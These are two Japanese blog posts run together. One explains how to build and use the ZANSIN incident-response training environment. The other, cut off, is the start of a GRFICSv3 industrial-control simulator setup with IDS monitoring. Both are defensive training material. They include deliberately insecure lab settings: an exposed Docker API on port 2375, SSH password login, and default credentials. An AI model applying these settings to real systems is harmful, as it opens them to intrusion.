はじめに はじめにNTT西日本の長谷川です。 本記事では、セキュリティ業界の有志で運営している「MINI Hardening」というコミュニティのメンバーにより開発された、サイバー攻撃を想定したインシデント・レスポンスを体験するためのトレーニングツール「ZANSIN」の体験談と自身で環境を構築する際の手順と注意点をまとめています。 ※Hardening とは情報セキュリティ分野においてセキュリティ強化演習を指す用語です。 出典：ZANSIN（GitHub） https://github.com/ZANSIN-sec/ZANSIN セキュリティの勉強をすすめていると、よく攻撃手法やその脅威をテキストとして見ることはありますが、座学だけではその動きや脅威はあまり実感できません。 このZANSINはそれを体験できるツールですので、セキュリティのスキル強化やセキュリティ対策の重要性を理解し、スキルアップに役立てるべく紹介していきます。 トレーニング環境はローカル環境やプライベートゾーンなど外部から悪用されない安全な環境で構築してください。 許可なくインターネットサイトを攻撃することは法律（不正アクセス禁止法等）に抵触する行為となるため、絶対に行わないでください。 この「ZANSIN」を用いて以下の習得が期待できます。 実践的なセキュリティ強化スキル 脆弱性をついた攻撃とその対策方法 セキュリティ対策の重要性 本ツールは体験・トレーニングツールとして公開されているため、初級～中級を主なターゲットにしています。 対象読者 本記事が想定する対象読者は以下の通りです。 サーバーのセキュリティ対策に興味があり、そのスキルを伸ばしたい方 サイバーセキュリティ対策の腕試しをしたい方 サイバーセキュリティ対策の実践力を鍛えたい方 目次 はじめに 対象読者 目次 1.背景 2.ZANSIN利用の目的 2-1. 実践的なセキュリティ強化の習得 2-2. 脅威モデリングと対策検討 2-3.ZANSINのトレーニングシナリオ 2-4.ゲームサーバー（Trainingサーバー）の構成 2-5.トレーニング例 3.ZANSINを使ったトレーニングイベントに参加してみて 3-1.チームでのトレーニング 3-2.実際のトレーニング結果 3-3.トレーニングを受けて感じたこと 4.ZANSINの構築方法 4-1.要求スペック 4-2.構築場所 4-3.ローカル環境におけるOS構築手順（Controlサーバー、Trainingサーバーで共通） 4-4.クラウド環境におけるZANSIN事前設定（AWS＆Azureのみ実施) 4-5.ZANSIN構築手順（ローカル環境、クラウド環境共通） 4-6.ZANSINトレーニング開始 5.最後に 執筆者　 参考資料・出典 商標　 免責事項 1.背景 セキュリティの勉強を進めていくと、さまざまな攻撃や脆弱性について語られることがありますが机上では学べないものが多く、以下のように悩むことがあります。 実際に脆弱性をついた攻撃などを体験する機会がない。 脆弱性を確認するにも環境構築からが大変。 実践的なスキルを身につける環境が欲しい。 私自身も、頭では理解しているつもりでも「実際に何が起きるのか」が結び付かず、もどかしさを感じていました。 このような悩みを持つ方も多いのではないでしょうか？ こういった机上では学べないことを実際に体験してみましょう。 2.ZANSIN利用の目的 2-1. 実践的なセキュリティ強化の習得 ZANSIN は Ubuntu®で構築されたControlサーバーとTrainingサーバーの2台で構成され、Trainingサーバーには「MINI QUEST」というWeb ゲームが稼働しています。 ControlサーバーはTrainingサーバーに対してサイバー攻撃を行います。 出典：ZANSIN（GitHub） https://github.com/ZANSIN-sec/ZANSIN 利用者はTrainingサーバーに潜む脆弱性を特定し、対策を施していくことでサイバー攻撃や不正行為に対して迅速かつ効果的な対応スキルを体験的に学ぶことができます。 実行される攻撃例 不正ログイン バックドア設置 ゲームサービス妨害 ゲームのチート行為 これらの攻撃に対する対策を通してセキュリティ対策スキルを養っていきます。 トレーニングの性質上どういった攻撃が実行されるかは明示しませんが、よく耳にする攻撃からの対策方法を学ぶことができます。 （あくまで防御について学ぶトレーニングツールであり、攻撃手法が学べるものではありません） ZANSINはあえて複数の脆弱性を含んだシステムを用意し、攻撃を受けながら守り方を学ぶという設計思想となっています。 実運用では本来避けるべき構成や設定も含まれていますが、それらを「なぜ危険か」「どう検知し、どう是正するか」を体験的に理解することを目的としています。 ※ZANSINは教育目的専用のツールです。実際の本番システムへの攻撃に応用することは法律で禁止されています（不正アクセス禁止法等） 2-2. 脅威モデリングと対策検討 事前資料から潜在的な脆弱性の洗い出し、攻撃シナリオの想定を行うことでセキュリティ設計の基本も体験できます。 ぶっつけ本番でおこなって体験するのもいいですが、効果的なトレーニングにするためにはしっかり事前準備するとより効果が得られます。 2-3.ZANSINのトレーニングシナリオ ZANSINは以下の指示に従ったトレーニングを行います。 Ubuntuで構築されたゲームサーバー（Trainingサーバー）が公開されましたが、脆弱性を含んでいるようです。 ゲームサーバー（Trainingサーバー）にはMINI QUESTと呼ばれるブラウザゲームが稼働しています。 ゲームサーバー（Trainingサーバー）がサイバー攻撃にさらされています。サイバー攻撃に対応しシステムを保護してください。 稼働しているMINI QUESTをチート行為から守ってください。 トレーニング時間（240min）の間に多様な攻撃が行われます。どの程度脆弱性が修正されたかで評価します。 2-4.ゲームサーバー（Trainingサーバー）の構成 ゲームサーバーにはUbuntu上に構築されたNGINX®、MySQL®、Redis®、Docker®で動作しており、構成は概略として以下となっています。 出典：ZANSIN（GitHub） https://github.com/ZANSIN-sec/ZANSIN このゲームサーバには多くの脆弱性が潜んでいます。 トレーニングを受けるユーザーはこの構成図と配布されるGAME API設計書から脆弱性の予測と洗い出しを行い、トレーニングに挑みます。 2-5.トレーニング例 トレーニングに影響が出るといけないので、多くは書けませんが、 実際にどのような攻撃が行われるか一つの例をあげてみます。 Trainingサーバーにはいくつかの脆弱性があります。 その中の一つに脆弱なパスワードを使っているユーザーがいます。 それを放置しているとパスワードを推測されて不正ログインされた結果、管理者権限を奪われ、バックドアとなる不正ユーザーが作成されます。（不正ユーザーが作成される経路は複数用意されています） ログなどから不審なユーザーが登録されていることを見つけることができれば、その後バックドア経由での攻撃を防げるかもしれません。 他にもセキュリティを勉強しているとよく目にするいろいろな攻撃が仕掛けられます。 ログや配布資料をもとに攻撃を特定し対策をしていきます。 3.ZANSINを使ったトレーニングイベントに参加してみて 実際に私もZANSINを使ったトレーニングイベントに参加してみました。 3-1.チームでのトレーニング トレーニングイベントでは参加者は4～5人のチームに割り振られました。 チームごとに提供された事前情報をもとにサーバーを防御するというものでした。 このときはZANSINというものは知っていたので、実際に体験するいい機会でした。 イベントでは初対面同士でチームが構成されてトレーニングに臨みました。 写真：社内で実施したトレーニングイベントの様子 トレーニング実施前の準備時間に、与えられた情報から簡単に以下の役割を決めました。 全体管理 ログ等からの分析 実際の改修、修復 3-2.実際のトレーニング結果 実際にトレーニングを行った結果はボロボロでした。 （普段から専門的にセキュリティ対策に携わっていないと初見ではかなりやられると思います） ですが、今まで机上でしか知ることがなかった攻撃が目の前で実行されます。 それをログなどから追いかけ対策を講じていくというのは非常に多くの学びがありました。 紹介していたようにWeb ゲームが動いていますが、どうしようもなく破壊されたときには頭を抱えるほどでした。 3-3.トレーニングを受けて感じたこと 実践的な経験を通じたトレーニングの有効性を改めて実感しました。 私は即席のチームでイベントに臨みましたが、いろいろな対応が必要になるためチームビルディングの重要性を感じました。 トレーニングに挑む際には以下にあげたような役割を決めて挑むほうが、慌てず対処できると思います。 全体管理 ログ分析（攻撃監視） 対策（スクリプト・設定修正） ZANSINは公開されているので、自身で環境構築をすればこのトレーニングを通してスキルの向上に役立てられそうです。 実際、1回ですべて対策できるとはとても思えないくらい多様な攻撃が行われます。 繰り返しトレーニングしてスキルを高めていきたいと思わせるツールです。 4.ZANSINの構築方法 自身でトレーニングをするためのZANSINを構築していきます。 ZANSINはUbuntu Serverで動作しますが、ControlサーバーとTrainingサーバーの2台が必要になります。 ZANSINの要求スペックは低いのでローカル環境でも十分構築できると思います。 Ubuntu Serverは20.04以上が必要とされており、22.04までは正常にインストールできることが確認されています。 24.xではインストールスクリプトを修正すればインストールが可能とコミュニティへの報告もありますが、22.04で構築することをお勧めします。 4-1.要求スペック それぞれのサーバーに必要とされる最低スペックは以下のとおりとなっています。 コア数 メモリ 記憶域 Controlサーバー 1 2GB 30GB Trainingサーバー 1 2GB 30GB 記憶域は30GBとなっていますが、実際は10GB程度しか使っていないことを私の環境（Ubuntu 22.04, 2026年3月時点）で確認しているため、節約したい場合は20GB程度でも動作します。 メモリは2GBとなっていますが、1GB以上のSWAPがあればメモリは1GBでも動作します。 4-2.構築場所 ZANSINが要求するスペックは高くありません。 古いPCを2台用意する方法もありますが、仮想環境を用意して構築するほうが現実的かもしれません。 AWS®やAzure®といったクラウド環境であれば手軽に構築を始められるかわりにローカル環境の構築より手順が多くなっています。 クラウド環境構築に必要な追加手順や外部から悪用されないセキュリティ設定などに不安があるのであれば、ローカル環境でHyper-V®やVirtualBox®などを用いるほうが手軽に構築できます。 （ローカル環境構築の場合も外部ネットワークに公開しないなどのセキュリティを考慮した設定は行ってください。） ※クラウド環境の場合いくつかの追加モジュールが初期インストールされていないため、手動追加する必要があります。 （”4-4.クラウド環境（AWSやAzure）におけるZANSIN事前設定”や”4-5.ZANSIN構築手順”の手順5～6が必要） 4-3.ローカル環境におけるOS構築手順（Controlサーバー、Trainingサーバーで共通） ※クラウド環境は、Ubuntuの22.x系を選択し、4-4項を実施。 以下にインストール時のパラメータを示す。 Controlサーバー、Trainingサーバー用に2台用意し、同じ設定で構築する。 インストール手順については公式ドキュメント等を参照してください。 項目 値 備考 OS Ubuntu Server 22.x インストールメディア・iso等 インストールタイプ Ubuntu Server（minimized） 両サーバー共通 Profile:Your name zansin 両サーバー共通 Profile:Your servers name 例：ControlServer、TrainingServer 運用上わかりやすい名前を任意で設定 Profile:Pick username zansin 両サーバー共通 Profile:Choose a password 任意のパスワード 両サーバー共通 SSH設定 チェック 利用できるようチェックする ローカル環境で構築する場合、トレーニング受講者のみがアクセスできる安全なプライベートネットワークにControlサーバー、Trainingサーバーを構築してください。 4-4.クラウド環境におけるZANSIN事前設定（ AWS＆Azureのみ実施 ) AWSやAzureを利用した場合の追加となる事前設定。 （Hyper-VやVirtualBox等ローカル環境で構築の場合は不要） この設定を行わないとAWSやAzureではインストールスクリプトが正常に終了しなかったり、トレーニングが正常に行えないため、必ず実施する。 自分でOSからインストールする場合は不要。 1.ネットワークセキュリティ設定（ トレーニング用途限定 ） トレーニングに必要な以下のネットワーク通信を許可する。 プロトコル ポート TCP 5555 TCP 3000 TCP 22 TCP 6379 TCP 80 TCP 3306 TCP 443 TCP 2375 ICMP (推奨) これらのポートへの接続ができなければ、正常なトレーニングが行えないため、トレーニング環境に限定して通信を許可すること。 ※これらのポートはトレーニング用途で解放するもので、そのままでは脆弱性につながるものがあります。 ※本番環境では解放するポートについては用途を確認し十分注意して解放すること。 ※特にTCP:2375の解放は本番環境では注意すること。 勘の鋭い人はここからどんな攻撃が行われるか予測できるかもしれませんね。 クラウド環境の場合、外部からの不正アクセスに対する設定を行ってください。 以下が一例ですが、このような設定を推奨します。 ・ トレーニング受講者のみがアクセスできるようなIPによるアクセス制限の追加。 ・ 以下のようなSSHのみ許可した踏み台サーバを用意し、踏み台サーバからポートフォワード機能を利用してトレーニング環境へアクセスする。 （踏み台サーバの構築、ポートフォワード機能については本記事では取り上げておりません） 2.zansinユーザーの作成 アカウント：zansinを作成する。 コマンド例 $ sudo useradd zansin $ sudo passwd zansin パスワードは任意で登録。 ただしControlサーバーとTrainingサーバーでパスワードは共通にしておくこと 3.ZANSIN展開用ホームフォルダの作成 以下の例を参考にホームフォルダを作成する コマンド例 $ sudo mkdir /home/zansin $ sudo chown zansin:zansin /home/zansin 4.sudoersの追加 以下コマンド例を参考にアカウント:zansinでsudoが使えるようにする。 コマンド例 $ sudo usermod -aG sudo zansin 5.apache2の停止 クラウド環境ではapahe2がインストール済みで自動起動している場合がある。（AWSでは確認済み） ZANSINの構築時には競合するため、停止させておく。 コマンド例 $ sudo systemctl stop apache2 $ sudo systemctl disable apache2 6.SWAP作成（推奨） ※必須ではないものの、やっておいた方が安定性とレスポンスが向上する コマンド例 $ sudo mkdir /swap $ sudo dd if=/dev/zero of=/swap/swapfile bs=1M count=2048 $ sudo chmod 600 /swap/swapfile $ sudo mkswap /swap/swapfile $ sudo swapon /swap/swapfile $ sudo echo ‘/swap/swapfile none swap sw 0 0 ‘ | sudo tee -a /etc/fstab 4-5.ZANSIN構築手順（ローカル環境、クラウド環境共通） ZANSINをインストールして環境を構築します。 一番の山場で時間がかかります。 ここは手順通りに進めていても不安になりやすい箇所なので、焦らず進めることが大切です。 ※AWS、Azureで構築した場合はインストーラがモジュール不足でエラーを出し、正常にインストールできません。5及び6の修正作業が必要 1.sshdの設定変更（Controlサーバー、Trainingサーバー両方で実施）　 ※本番環境では非推奨 ControlサーバーはパスワードログインのSSHを通してTrainingサーバーを制御しています。 そのため両サーバーでSSHのパスワードログインを有効にします。 パスワードログインの有効化 /etc/ssh/sshd.confの修正 以下コメントアウト　もしくは追記 PasswordAuthentication yes ※SSHのパスワードログインはセキュリティリスクにつながる可能性があります。 本番環境では特別な理由がない限りは推奨されません。 2.ZANSINセットアッスクリプトのダウンロード（Controlサーバーで実施） ZANSINをインストールするためのスクリプトを入手します。 以下は ZANSIN のインストールスクリプトを取得するコマンドです。 このスクリプトは GitHubで公開されています。 https://github.com/ZANSIN-sec/ZANSIN コマンド例 $ cd /home/zansin $ wget https://raw.githubusercontent.com/ZANSIN-sec/ZANSIN/main/zansin.sh ※このコマンドで指定しているのはGitHubの公開リポジトリへの直接リンクである。そのため将来リポジトリ構成が変更された場合にリンク切れとなる可能性がある。その場合はGitHubから変更されたリンクを確認すること。 3.インストールスクリプト実行（Controlサーバーで実施） インストール作業はカレントディレクトリを/home/zansinに変更して実施。 コマンド例 $ cd /home/zansin $ chmod +x zansin.sh $ ./zansin.sh 4.インストールスクリプト（Controlサーバーで実施） スクリプトを実行するとインストーラが走ります。 インストールに必要な情報として以下を入力するよう求められます。 sudoパスワード（設定したzansinパスワード） ControlサーバーとなるマシンのIPアドレス （プライベートIPv4アドレス） TrainingサーバーとなるマシンのIPアドレス （プライベートIPv4アドレス） zansinパスワード：zansinのパスワード（設定したパスワード） 必要な情報を入力してインストールが開始されます。 マシンスペックにもよりますが、データ転送に時間がかかります。 要求最低減のスペックの場合、30分以上かかる場合もあります。 特にコンテンツデータの転送は時間がかかり止まってるように見えますが、気長に待ちましょう。 ※クラウド環境で実行した場合モジュール不足でエラーが表示されます。（インストールは最後まで走る） ※クラウド環境で構築する場合、以下を追加で実行する必要があります。（AWS、Azure以外では不要） 5.Controlサーバーでのモジュール追加（ AWS、Azure環境のみ実行 ） ※AWS、Azureで構築した場合はインストーラがPython®のモジュール不足でエラーを出し、正常にインストールできないためこの作業でモジュールを手動追加します。 エラーが出る不足モジュールを追加します。 $ source /home/zansin/red-controller/red_controller_venv/bin/activate $ pip3 install python-nmap $ pip3 install bs4 $ pip3 install paramiko $ pip3 install requests $ pip3 install docopt $ pip3 install aiohttp 6.インストールスクリプト再実行（ AWS、Azure環境のみ実行 　Controlサーバーで実施） 以下コマンドでインストールを再実行します。 $ ./zansin.sh 4-6.ZANSINトレーニング開始 構築作業お疲れさまでした。 以上でZANSINの構築は完了しました。 ここからは、ZANSINを実際に動かしてみましょう。 最初はすべての攻撃に対応できなくても問題ありません。 私も初回は思うように対処できず、かなり戸惑いました。 特にこういったインシデントに初めて触れる人は以下を目標とするくらい気楽にやる方がいいかもしれません。 ログやWeb画面で攻撃を目の当たりにする （何が起きているかを追えるようになるとさらにGood） なにか一つ対処できた （こうすれば対処できたといった振り返りができただけでも十分） ZANSINでトレーニングを開始する場合は以下を参考にコマンドを実行します。 SSHでControlサーバーに接続しトレーニング実行のコマンド以下を実行します。 通常モードでトレーニング開始 ~$ source /home/zansin/red-controller/red_controller_venv/bin/activate ~$ cd /home/zansin/ red-controller/ ~$ python3 red_controller.py -n ***** -t ***.***.***.*** -c ***.***.***.*** -a 1 python3 red_controller.py　オプションパラメータ補足 -n　Trainingユーザー名指定（自由に指定可能） -t　TrainingマシンのIP指定（AWSではプライベートIPV4アドレス） -c　ControlマシンのIP指定（AWSではプライベートIPV4アドレス） -a　攻撃シナリオ（上記例は1） 標準で登録されている攻撃シナリオは以下のとおり　0：デバッグシナリオ、1：標準シナリオ、2：簡易シナリオ（動作チェック等でなければ1を選択すること） コマンド例： Trainingユーザー名：test01 TrainingマシンのIP：10.10.10.1 ControlマシンのIP：10.10.10.2 攻撃シナリオ：１ $ python3 red_controller.py -n test01 -t 10.10.10.1 -c 10.10.10.2 -a 1 5.最後に 環境を用意する手間はありますが、仮想化技術を活用することで、トレーニング環境は容易に構築できます。 こういったトレーニング環境を活用することで、セキュリティインシデントを他者に影響与えることなく体験することができます。 セキュリティに興味のある方は、力試しやスキルアップの機会として活用を検討してみてください。 きっとセキュリティ設計やトラブルシュートに役立つ学びがあると思います。 執筆者　 長谷川 喬一（NTTビジネスソリューションズ（株） エンタープライズビジネス営業部 ネットワーク＆ソリューション推進担当） サーバーやクラウド、セキュリティの案件支援及びエリアのPMOに携わっています。 参考資料・出典 GitHub - ZANSIN-sec/ZANSIN · GitHub 商標　 「Ubuntu®」は、Canonical Ltd. の登録商標です。 「Hyper‑V®」および「Azure®」は、Microsoft Corporation の登録商標です。 「VirtualBox®」および「MySQL®」は、Oracle America, Inc. またはその関連会社の登録商標です。 「AWS®」は、Amazon Technologies, Inc. またはその関連会社の登録商標です。 「NGINX®」は、F5 Networks, Inc. の登録商標です。 「Redis®」は、Redis Ltd. の登録商標です。 「Docker®」は、Docker, Inc. の登録商標です。 「Python®」は、Python Software Foundation の登録商標です。 免責事項 本記事の情報を利用した結果として生じた損害・トラブルについて、当社および執筆者は一切の責任を負いかねます。

2025年10月に公開された「GRFICSv3」の環境構築手順と、制御ネットワーク向けIDS「OsecT」を組み合わせた検証記事です。 専用のダミーIFを用いたパケット可視化の手法や、Pythonスクリプトによる攻撃の実行、およびIDSでの検知アラート発生の様子を紹介します。 GRFICSv3とは GRFICSv3の実行 GRFICSv3の画面紹介 シミュレータ画面 エンジニアリングワークステーション画面 攻撃者端末の画面 Caldera画面 PLC (OpenPLC) 画面 HMI (Scada-LTS) 画面 ルータ/ファイアウォール画面 GRFICSv3の所感 OT IDS OsecTによる可視化 GRFICSv3用のダミーIFの作成 GRFICSv3のセットアップ GRFICSv3のネットワーク設定変更 GRFICSv3の起動 GRFICSv3の動作確認 パケットの確認 OT IDS OsecTによる可視化 端末一覧画面 ネットワークマップ画面 攻撃の実行と検知 攻撃者端末を起動する OT IDS OsecTでの検知 攻撃スクリプトの実行 OT IDS OsecTでの検知 おわりに この記事は、 NTT docomo Business Advent Calendar 2025 23日目の記事です。 こんにちは、NTTドコモビジネスの上田です。 普段は、制御ネットワーク向けのIDS 1 である 「OsecT（オーセクト）」 の開発・運用に携わっています。 今回は、2025年10月頃に公開されたGRFICSv3を紹介します。 当初は昨年の データダイオードネタ の続きを予定していたのですが、以前から時々触っていたGRFICSv2の後継であるGRFICSv3が公開されたのを知り、急遽内容を変更しました。 制御ネットワークのセキュリティに興味がある方や、制御システムのサイバー攻撃を体験してみたい方にはお勧めのシミュレータですので、ぜひご一読いただけると幸いです。 なお、本記事は実際のシステムへの攻撃を推奨するものではありません。 あくまでも、学習・研究・開発目的での利用を想定しています。 GRFICSv3とは GRFICSv3 (Graphical Realism Framework for Industrial Control Simulation Version 3) は、Dockerで完結する化学プラントのサイバー物理シミュレーション環境です。 実際のプロセス挙動、産業用プロトコル、エンジニアリングツール、攻撃用インフラの全てをコンテナ化して提供しています。 用途としては、ICS（産業制御システム）セキュリティの学習・調査、インシデント対応の演習、攻撃・防御ツールの開発とテストなどへの利用を想定しているようです 2 。 サイバー攻撃による、プラントの爆発も再現できるようです。 GRFICSv2までは、VirtualBox等の仮想マシン上で動作する形態でしたが、 GRFICSv3ではDockerコンテナとして提供されるようになりました。 なお、今回紹介するGRFICSv3は、 Fortiphyd/GRFICSv3 で公開されているGRFICSv3になります。 Fortiphyd/GRFICSv3 や Fortiphyd/GRFICSv2 のREADMEのコミット履歴から判断するに、 2025年10月頃に公開されたようです。 2025年12月現在、検索エンジンで「GRFICSv3」と検索すると別のリポジトリが上位に表示されます（少なくとも私の環境では）。 今回の記事で紹介するのはFortiphyd社が公開しているGRFICSv3になりますので、ご注意ください。 Web上でGRFICSの歴史を辿ってみると、初代は2018年のUSENIXにて発表され、 djformby/GRFICS として公開されたようです 3 。 その後、バージョン2となる Fortiphyd/GRFICSv2 が2020年に公開され、 さらに現在のGRFICSv3へと進化しています。 初代GRFICSからFortiphyd社が開発に携わっていることが確認できるため、 今回紹介するGRFICSv3はGRFICSシリーズの公式な最新版と判断しました。 GRFICSv3の実行 GRFICSv3はDockerコンテナとして提供されているため、Dockerが動作する環境であれば簡単に実行できます。 GRFICSを実行するだけであれば、Docker DesktopやWSL2上のDockerなど、Dockerが動作する環境であれば問題ありません。 後半のIDS等による可視化や検知に関しては、Ubuntu 24.04のVM環境で動作を確認しています。 GRFICSv3の起動は非常に簡単で、以下のコマンドを実行するだけです。 ただし、Dockerイメージの合計サイズが9GB程度あるため、初回起動時はイメージのダウンロードに時間を要する場合があります。 git clone https://github.com/Fortiphyd/GRFICSv3.git cd GRFICSv3 docker compose up -d これで、GRFICSv3の各コンテナが起動します。 起動後、以下のURLにアクセスすることで、GRFICSv3の各種画面を確認できます。 シミュレータ: http://localhost:80 エンジニアリングワークステーション: http://localhost:6080/vnc.html 攻撃者端末: http://localhost:6088/vnc.html USER: kali, PASS: kali MITRE Caldera: http://localhost:8888 USER: red, PASS: fortiphyd-red PLC (OpenPLC): http://localhost:8080 USER: openplc, PASS: openplc HMI (Scada-LTS): http://localhost:6081 USER: admin, PASS: admin ※ルータ・ファイアウォールは、デフォルトではDockerホスト側からはアクセスできないようです。 注意点として、ARMアーキテクチャのCPUを搭載したPCでは、エンジニアリングワークステーションにインストールされているOpenPLCエディタが動作しませんでした。 他のコンテナについては特に問題は確認されませんでしたが、可能であればx64アーキテクチャのCPUを搭載したPCで実行することをお勧めします。 GRFICSv3の画面紹介 この章では、GRFICSv3の各種画面を簡単に紹介します。 気になった方は、ぜひ実際にGRFICSv3を起動して確認してみてください。 シミュレータ画面 先ほど述べたように、GRFICSv3のシミュレータ画面は、 http://localhost:80 にアクセスすることで確認できます。 下記画面は、GRFICSv3のシミュレータ画面の初期状態です（最大化した状態の画面です）。 GRFICSv3のシミュレータ画面では、GRFICSv2でも表示されていた化学プラントの各種センサー値などに加え、一部配管などが透明化されており、中を流れる原料や生成物の様子が視覚的に確認できるようになっています。 最大のアップデートポイントは、プラント内部を自由に移動できるようになったことかと思います。 通常のFPSゲームのように、WASDキーで移動し、マウスで視点を操作できます。 また、プラント内を移動して脆弱なポイントを見つけると、右上の数字がカウントアップされるゲーム要素も追加されています。 下記のように、制御室らしき部屋に移動することもできます。 エンジニアリングワークステーション画面 エンジニアリングワークステーションは、PLCのプログラムを開発・デバッグするためのツールが入った端末です。 GRFICSv3では、OpenPLCエディタがインストールされています。 GRFICSv3の場合、デスクトップ上にOpenPLCエディタのショートカットが配置されているため、ダブルクリックで起動できます。 下記画面は、デスクトップにある chemical ディレクトリをOpenPLCエディタで開いた際のものです。 先述のとおり、OpenPLCエディタはARMアーキテクチャのCPUを搭載したPCでは起動できませんでした。 攻撃者端末の画面 攻撃者端末は、Kali Linuxのデスクトップ環境が入った端末です。 GRFICSv3では、PythonでModbus TCPを利用するためのパッケージ pymodbus がプリインストールされていました。 GRFICSは制御プロトコルとしてModbus TCPを使用しているため、攻撃者端末からModbus TCPを利用した攻撃スクリプトを実行することを想定しているのかもしれません。 Caldera画面 GRFICSv3の新要素として、 MITRE Caldera が組み込まれています。 Calderaは、サイバー攻撃を自動化するためのフレームワークです。 実際の攻撃を自動的に模擬することで、セキュリティの検証などに利用できます。 GRFICSv3では、制御プロトコルとしてModbus TCPを利用していることから、Modbusプラグインがプリインストールされているようです。 PLC (OpenPLC) 画面 PLC (OpenPLC) は、GRFICSv3の化学プラントを制御するためのPLCです。 GRFICSv3では、OpenPLCが使用されています。 下記画面は、OpenPLCのWebインターフェースの画面です。 エンジニアリングワークステーションで開発したPLCプログラムをアップロードしたり、PLCの状態を確認したりできます。 エンジニアリングワークステーションからPLCに接続する際は、ブラウザ (Firefox) から http://192.168.95.2:8080 にアクセスすると接続できます。 HMI (Scada-LTS) 画面 システムの操作や各種データを確認できるようです。 具体的には、下記画像のGraphical viewsボタンをクリックすることで、プラントの運転ボタンを押したり、各種センサー値を確認したりできます。 ただ、残念ながら私の環境では運転ボタンを押した際、エラーが表示されました。 しかし、エラーは表示されるものの、運転操作自体は行えているように見受けられたため、今回は無視して進めますが、気づいていないだけで不具合が発生している可能性もあります。 ちなみに、エラーメッセージは下記の通りです。 Incorrect format. The point value has not been changed. Error saving point value: dataType=1, dvalue=1.0, message: PreparedStatementCallback; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: PROCEDURE scadalts.prc_alarms_notify does not exist ルータ/ファイアウォール画面 下記画面は、GRFICSv3のルータ/ファイアウォールの画面です。 IDS機能も備わっているようです。 GRFICSv2の時は、pfSenseが使用されていましたが、GRFICSv3では独自のルータ/ファイアウォールが使用されているようです。 GRFICSv3の所感 以上、GRFICSv3の各種画面を簡単に紹介しました。 GRFICSv3はDockerコンテナとして提供されているため、Dockerの実行環境さえあれば git clone と docker compose up -d の2コマンドで簡単に起動できる点が非常に手軽で便利です。 一方で、まだ公開されて間もないためか、細かい不具合がいくつかあるようにも見受けられました。 先ほど述べたHMIのエラー以外にも、GRFICSv3を起動したまま長時間放置していると、タンク内の圧力が異常に高くなり、プラントが爆発してしまう事象にも遭遇しました（私の環境の問題である可能性も捨てきれません）。 ただ、全体的には非常に良くできているシミュレータであり、制御ネットワークのセキュリティに興味がある方や、制御システムのサイバー攻撃を体験してみたい方にはお勧めのシミュレータです。 私自身は、まだGRFICSv3を触り始めたばかりで、理解が浅い部分も多いので、今後も引き続き触っていきたいと考えています。 この後の章では、GRFICSv3の通信をIDSで可視化します。 さらに攻撃スクリプトを作成・実行し、プラントの破壊も試みます。 OT IDS OsecTによる可視化 今回は、GRFICSv3の通信を制御ネットワーク向けIDSであるOsecT（オーセクト）で可視化してみます。 ポイントとしては、GRFICSv3専用のダミーIFを作成し、IDSで可視化する際のノイズ低減を図ります。 今回構築する検証環境のネットワーク構成は、以下のようになります。 なお、IDSを利用して可視化する部分に絞って記載しています。 なお、今回利用するOsecTは開発用のものになります。 お客さまのVM上にOsecTを構築するオプションは、2025年12月時点では提供されていないことにご留意ください。 GRFICSv3用のダミーIFの作成 GRFICSv3用のダミーIFを作成します。 デフォルト設定では、GRFICSv3の各コンテナはUbuntuホストの eth0 を介して通信します。 ただこの場合、IDSでパケットをキャプチャする際に、ICSネットワークとDMZネットワークの通信が混在してしまうという課題があります。 さらに、 eth0 を利用する他のプロセスのパケットも混ざり、解析時のノイズが発生してしまう問題もあります。 そこで、今回はGRFICSv3専用のダミーIFを2つ作成し、docker-compose.ymlでそれぞれのNICを指定します。 具体的には、 dummy0 と dummy1 という2つのダミーIFを作成します。 これにより、GRFICSv3の通信のみをIDSでキャプチャできるようにします（ただ残念ながら、完全にはノイズを排除できませんでした 4 ）。 ダミーIFの作成は、systemd-networkdを利用して行います。 下記設定ファイルを作成した後、 sudo systemctl restart systemd-networkd コマンドで設定を反映します。 設定ファイルの内容（クリックすると開きます） 以下、 /etc/systemd/network/10-dummy0.netdev の内容です。 [NetDev] Name=dummy0 Kind=dummy 以下、 /etc/systemd/network/10-dummy1.netdev の内容です。 [NetDev] Name=dummy1 Kind=dummy 以下、 /etc/systemd/network/10-dummy-common.network の内容です。 今回、 LinkLocalAddressing 等はノイズパケットの原因となるため無効化しています。 [Match] # dummy0 と dummy1 の両方にマッチさせる Name=dummy0 dummy1 [Network] # 両方のインターフェースに適用される共通設定 LinkLocalAddressing=no DHCP=no IPv6AcceptRA=no GRFICSv3のセットアップ この章では、GRFICSv3のセットアップを行います。 IDSで可視化するために、GRFICSv3のネットワーク設定を変更する必要があります。 GRFICSv3のネットワーク設定変更 今回は、GRFICSv3を起動する前に、ネットワークの設定を変更します。 もしもまだGRFICSv3のリポジトリをクローンしていない場合は、下記コマンドでGRFICSv3のリポジトリをクローンし、 GRFICSv3 ディレクトリに移動します。 git clone https://github.com/Fortiphyd/GRFICSv3.git cd GRFICSv3 次に、 docker-compose.yml を編集します。 具体的には、 docker-compose.yml のトップレベルにある networks セクションを以下のように変更します。 networks : b-ics-net : driver : macvlan driver_opts : parent : dummy0 # ここをdummy0に変更 ipam : config : - subnet : 192.168.95.0/24 gateway : 192.168.95.1 c-dmz-net : driver : macvlan driver_opts : parent : dummy1 # ここをdummy1に変更 ipam : config : - subnet : 192.168.90.0/24 gateway : 192.168.90.1 これで、 b-ics-net の通信は dummy0 を、 c-dmz-net の通信は dummy1 を介してキャプチャできるようになります。 なお、デフォルトの設定のままでは docker compose up コマンドと docker compose down コマンドを繰り返す度に、GRFICSv3の各コンテナに割り当てられるMACアドレスが変化してしまいます。 これは、IDSの検証等で利用することを考えると不便です。 そこで今回は、下記のように docker-compose.yml の各コンテナの networks セクションに mac_address オプションを追加し、MACアドレスを固定しました。 networks : a-grfics-admin : # gets random bridge IP (e.g., 172.18.x.x) b-ics-net : ipv4_address : 192.168.95.10 mac_address : "96:62:8a:11:dc:b8" # 追加, 任意のMACアドレスを設定 これにより、MACアドレスが固定化され、IDSに別端末として認識されることを防げます。 GRFICSv3の起動 上記設定が終わり次第、下記コマンドでGRFICSv3を起動します。 なお、今回はIDSで可視化するために、PLC、ルータ、エンジニアリングワークステーション、HMI、シミュレーションコンテナのみを起動します。 Calderaと攻撃者端末の起動は一旦保留します。 docker compose up -d plc router ews hmi simulation なお、最初のセットアップ時は、Dockerイメージのダウンロード（合計約9GB）などが行われるため、起動までに数分かかる場合があります。 GRFICSv3の動作確認 GRFICSv3の各種画面にアクセスし、正常に動作していることを確認します。 例えば、シミュレータ画面にアクセスするには、ブラウザで http://localhost にアクセスします。 以下に、GRFICSv3の各種画面にアクセスするためのURLを再掲します。 シミュレータ: http://localhost:80 